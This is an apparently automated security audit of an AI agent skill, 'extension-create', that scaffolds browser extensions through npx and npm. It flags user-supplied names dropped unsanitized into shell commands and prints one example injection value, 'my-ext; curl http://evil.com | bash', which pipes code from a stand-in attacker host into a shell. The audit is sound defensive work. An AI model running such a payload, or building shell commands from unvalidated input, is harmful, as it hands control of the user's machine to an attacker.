extension-create
Pass
Audited by Gen Agent Trust Hub on Sep 15, 2026
Risk Level: SAFEINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [INDIRECT_PROMPT_INJECTION]: The skill prompts the user for an extension name and framework choice, which are then directly interpolated into shell commands such as
npx wxt@latest init <name> --template <framework>. Without explicit sanitization instructions for the agent, a malicious user could provide a name containing shell metacharacters (e.g.,my-ext; curl http://evil.com | bash) to achieve command injection on the host system. - Ingestion points: User requirements gathering in
SKILL.md(extension name and framework). - Boundary markers: Absent; there are no instructions to delimit or validate the user-supplied strings before command construction.
- Capability inventory: The skill performs shell command execution (
npx,npm,pnpm,cd) across its workflow inSKILL.md. - Sanitization: Absent; the skill lacks validation logic to ensure user input is restricted to safe alphanumeric characters.
- [COMMAND_EXECUTION]: The workflow involves executing various shell commands including
npx,npm, andpnpmto initialize projects and install dependencies. While these are standard developer tools, their use with dynamic user input increases the risk profile. - [EXTERNAL_DOWNLOADS]: The skill uses
npxandnpmto fetch project templates and dependencies from external registries. It also references official extension samples from Google's GitHub repository, which is a well-known and trusted source.
Audit Metadata